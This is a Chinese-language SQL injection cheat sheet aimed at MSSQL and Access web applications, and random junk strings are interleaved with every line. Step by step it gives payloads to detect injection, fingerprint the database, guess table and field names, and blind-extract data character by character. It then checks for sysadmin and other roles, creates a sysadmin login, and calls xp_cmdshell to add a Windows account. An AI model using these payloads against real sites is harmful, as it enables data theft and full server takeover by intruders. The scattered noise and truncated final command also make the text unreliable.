1.判断是否有注入;and 1=1 ;and 1=2 7t`<`BY^
2.初步判断是否是mssql ;and user>0 Mp;t?C4
HRi~TZ?\
3.注入参数是字符'and [查询条件] and ''=' D4'"GaCv
mtuq
4.搜索时没过滤参数的'and [查询条件] and '%25'=' g(<02t!OT=
m3XL;1y:a
5.判断数据库系统 B#o(21s
Dr6"~5~9w
;and (select count(*) from sysobjects)>0 mssql t+Mr1e
XP5q4BM
;and (select count(*) from msysobjects)>0 access =:`1!W0I
T_ Q/KhLU
3 2Q/4
[YP8z~
6.猜数据库 ;and (select Count(*) from [数据库名])>0 A@*P4E`xp
A$ %5l
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 G;615p1
@va{&i`%A7
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ZmO/6_nU?
?6Cbx6
9.(1)猜字段的ascii值(access) uoFH{.)
#/sKb2eQ
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 u,[Yaw"L
)/2* <jr
(2)猜字段的ascii值(mssql) jo=XxA
y=YD4m2 W
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 &Th/Qv}[
&5/`6-K
10.测试权限结构(mssql) g#`(&
k
$/,qw
3?Y%|ZVM
(xK=/()}q
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- rgILOtk[
7;KmJ}$
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- |Z6rP-
T
:CsYj1
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- $f>Mz|j
VY<v?Of
i-
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- : QSlctW
CZE5RzG
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- t)g1ICt
Zb-TCS+3l
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- &9PzBc
xuO5|{h
;and 1=(select IS_MEMBER('db_owner'));-- oLk>|J
a}`4BMi3
UY
j
JI )+
11.添加mssql和系统的帐户 1Y@6oT
gj\r>~S
;exec master.dbo.sp_addlogin username;-- ;3Fgy8T
;exec master.dbo.sp_password null,username,password;-- eB/3MUz1
VJD$nh
#M5
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- N::_JH?^=
`y0ZFh1>X
;exec master.dbo.xp_cmdshell 'net user username password 00?^!';
&